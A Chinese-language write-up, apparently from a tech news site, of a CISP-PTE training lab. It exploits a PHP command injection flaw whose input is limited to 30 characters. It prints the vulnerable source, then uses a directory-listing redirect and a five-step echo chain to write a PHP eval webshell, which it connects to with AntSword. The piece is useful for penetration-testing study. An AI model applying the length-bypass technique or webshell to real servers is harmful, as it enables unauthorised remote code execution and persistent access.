news 2026/4/3 2:41:14

CISP-PTE 代码审计(命令执行)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CISP-PTE 代码审计(命令执行)

目录

一、渗透准备

1、打开靶场

2、开始答题

3、代码审计

二、方法1:读取目录获取flag

1、ls并将结果写入文件

2、查看重定向文件

三、方法2:上传木马获取key

1、一次性写入完整木马(失败)

2、分5阶段写入完整木马(成功)

(1)第一阶段

(2)第二阶段

(3)第三阶段

(4)第四阶段

(5)第五阶段

3、浏览器hackbar访问木马

4、连接蚁剑工具

5、查看flag

6、查看木马


本文详细讲解CISP-PTE靶场代码审计关卡的渗透实战全流程。靶场存在命令注入安全风险,通过GET参数cmd可执行不超过30字符的系统命令(无回显)。本文采用两种方法获取flag,渗透测试包含完整的渗透利用链条,包括命令注入、文件写入、Webshell上传等关键步骤,最终通过两种不同方式验证获取flag的有效性。

  • 方法1:通过ls命令重定向输出获取目录信息;
  • 方法2:分五阶段写入PHP一句话木马(规避字符限制),成功连接蚁剑获取服务器权限。

一、渗透准备

1、打开靶场

打开靶场,如下所示页面显示“代码审计是指检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全问题。找到key4”。

http://1b20ab48.clsadp.com/

2、开始答题

点击开始答题,进入如下页面,显示靶场源码。

3、代码审计

源码通过GET参数cmd接收用户输入并在服务器上直接执行系统命令,且仅限制命令长度不超过30字符。代码会显示命令长度和客户端IP地址(192.168.10.254),但命令执行结果无回显。提示信息表明攻击目标是获取服务器shell并寻找关键信息,这构成了一个典型的命令注入安全风险。攻击者可利用它在受限制的字符数内执行系统命令,进而获取服务器控制权、查找敏感文件或建立持久化访问。:

  • 用户可通过?cmd=系统命令直接执行任意系统命令

  • 仅限制长度(30字符),无命令白名单过滤

  • exec()函数执行命令但不返回输出结果

  • 攻击者需要使用其他方式获取命令执行结果

<?php

// 设置HTTP响应头,指定内容类型为HTML,字符编码为UTF-8

header("Content-type:text/html;charset=utf-8");

/*

Hint: 提示信息

get the shell find the key;)\n"; // 暗示目标:获取shell并找到关键信息(key)

*/

// 输出cmd参数值的字符串长度(用于调试或显示)

echo strlen($_GET['cmd']);

// 安全检查:如果存在cmd参数且长度不超过30个字符

if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 30) {

// 执行系统命令

// @符号用于抑制错误信息输出,exec()函数执行系统命令但无回显

@exec($_GET['cmd']);

// 安全风险:此处存在命令注入安全风险,用户输入直接传递给系统命令执行

}

// 高亮显示当前PHP文件的源代码(用于教学或调试)

highlight_file(__FILE__);

// 显示客户端IP地址

// $_SERVER['REMOTE_ADDR'] 获取客户端的真实IP地址

echo "<br /> IP : {$_SERVER['REMOTE_ADDR']}";

// 当前显示的IP是:192.168.10.254

?>

二、方法1:读取目录获取flag

1、ls并将结果写入文件

通过URL参数cmd向服务器提交指令ls >> ljn.txt,其功能为执行ls命令列出当前目录下的文件与子目录,并将输出结果以追加方式写入到ljn.txt文件中。

?cmd= ls >> ljn.txt
  • ?cmd= - URL参数,向PHP脚本传递命令
  • s - 系统命令(前面有个空格),列出当前目录内容
  • >> - 追加重定向符号,将输出追加到文件
  • txt - 目标文件名

http://1b20ab48.clsadp.com/start/vul.php?cmd= ls >> ljn.txt

2、查看重定向文件

通过浏览器或HTTP客户端向指定域名 1b20ab48.clsadp.com 的 /start/ljn.txt 文件发起GET请求,旨在查看之前通过命令注入攻击生成的 ljn.txt 文件内容。该文件应包含执行 ls 命令后输出的当前目录文件列表信息,通过此操作可验证命令是否成功执行并获取服务器目录结构,如下所示成功获取到flag值

http://1b20ab48.clsadp.com/start/ljn.txt

三、方法2:上传木马获取key

1、一次性写入完整木马(失败)

echo "<?=eval($_POST[a]);>">a.php

如下所示,执行命令长度超过30,未能执行,将代码分为两部分执行

http://1b20ab48.clsadp.com/start/vul.php?cmd=echo "<?=eval($_POST[a]);>">a.php

2、分5阶段写入完整木马(成功)

通过五阶段方法通过分步拼接方式在服务器上生成PHP一句话木马文件。首先创建ljn.php并写入起始标签<?php,随后依次追加@EVAL(、$_POST、['ljn']和);?>,最终组合成完整的<?php @EVAL($_POST['ljn']);?>木马代码。该方法利用命令注入安全风险,通过重定向操作符分阶段写入文件内容,有效规避了单条命令的长度限制,成功构建了可远程执行任意代码的Web后门。

完整木马:

<?php

@EVAL($_POST['ljn']);

?>

五阶段写入木马:

# 第一阶段:创建文件并写入PHP起始标签

?cmd=echo '<?php' > ljn.php

# 第二阶段:追加eval函数开头

?cmd=echo '@EVAL(' >> ljn.php

# 第三阶段:追加POST超全局变量

?cmd=echo '$_POST' >> ljn.php

# 第四阶段:追加参数数组键名

?cmd=echo "['ljn']" >> ljn.php

# 第五阶段:追加函数结尾和PHP结束标签

?cmd=echo ');?>' >> ljn.php

(1)第一阶段

# 第一阶段:创建文件并写入PHP起始标签

?cmd=echo '<?php' > ljn.php

http://1b20ab48.clsadp.com/start/vul.php?cmd=echo '<?php' > ljn.php

(2)第二阶段

# 第二阶段:追加eval函数开头

?cmd=echo '@EVAL(' >> ljn.php

http://1b20ab48.clsadp.com/start/vul.php?cmd=echo '@EVAL(' >> ljn.php

(3)第三阶段

# 第三阶段:追加POST超全局变量

?cmd=echo '$_POST' >> ljn.php

http://1b20ab48.clsadp.com/start/vul.php?cmd=echo '$_POST' >> ljn.php

(4)第四阶段

# 第四阶段:追加参数数组键名

?cmd=echo "['ljn']" >> ljn.php

http://1b20ab48.clsadp.com/start/vul.php?cmd=echo "['ljn']" >> ljn.php

(5)第五阶段

# 第五阶段:追加函数结尾和PHP结束标签

?cmd=echo ');?>' >> ljn.php

http://1b20ab48.clsadp.com/start/vul.php?cmd=echo ');?>' >> ljn.php

3、浏览器hackbar访问木马

通过访问之前生成的木马文件ljn.php,并提交 POST 参数ljn=phpinfo();,利用eval函数动态执行phpinfo()命令,触发服务器返回当前 PHP 环境的详细配置信息。此操作用于验证一句话木马是否成功部署并具备代码执行能力,如下所示渗透成功,说明我们分阶段上传木马已经成功。

http://1b20ab48.clsadp.com/start/ljn.php POST data:ljn=phpinfo();

4、连接蚁剑工具

通过中国蚁剑连接木马,URL地址栏填写http://1b20ab48.clsadp.com/start/ljn.php,并在密码字段输入ljn,编码器通常选择默认的default即可,如下所示,连接成功。

http://1b20ab48.clsadp.com/start/ljn.php 密码ljn

5、查看flag

如下所示,进入文件系统后,可以看到flag值。

6、查看木马

我们查看下分五个步骤写入的木马,如下所示木马正好5行,是我们分步骤写入的内容。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/30 5:21:40

如何高效管理学术文献:智能PDF解析工具使用指南

Zotero Reference是一款专为学术研究者设计的智能PDF参考文献管理插件&#xff0c;通过先进的解析技术自动提取文献中的引用信息&#xff0c;大幅提升文献整理效率。无论您是撰写论文还是管理研究资料&#xff0c;这款学术文献插件都能为您提供强大的支持&#xff0c;让您更专注…

作者头像 李华
网站建设 2026/3/31 8:03:18

终极免费PDF参考文献智能解析插件实战指南

终极免费PDF参考文献智能解析插件实战指南 【免费下载链接】zotero-reference PDF references add-on for Zotero. 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-reference 作为一名长期与学术文献打交道的科研工作者&#xff0c;我深知PDF参考文献管理的重要性…

作者头像 李华
网站建设 2026/3/22 14:59:32

YimMenu完全配置手册:从零开始打造专属GTA5游戏体验

YimMenu完全配置手册&#xff1a;从零开始打造专属GTA5游戏体验 【免费下载链接】YimMenu YimMenu, a GTA V menu protecting against a wide ranges of the public crashes and improving the overall experience. 项目地址: https://gitcode.com/GitHub_Trending/yi/YimMen…

作者头像 李华
网站建设 2026/3/29 7:03:54

华为光猫配置解密终极指南:从加密困境到透明管理

深夜两点&#xff0c;网络运维工程师小李面对着一堆加密的华为光猫配置文件&#xff0c;陷入了沉思。这些看似简单的XML和CFG文件背后&#xff0c;隐藏着网络故障的关键线索&#xff0c;却因为加密而无法解读。这场景是否似曾相识&#xff1f;今天&#xff0c;我们将揭开华为光…

作者头像 李华
网站建设 2026/3/26 7:34:13

如何快速解决Unity 2022.3.34元数据版本兼容性问题:完整指南

如何快速解决Unity 2022.3.34元数据版本兼容性问题&#xff1a;完整指南 【免费下载链接】Cpp2IL Work-in-progress tool to reverse unitys IL2CPP toolchain. 项目地址: https://gitcode.com/gh_mirrors/cp/Cpp2IL 在Unity逆向工程实践中&#xff0c;Cpp2IL工具是处理…

作者头像 李华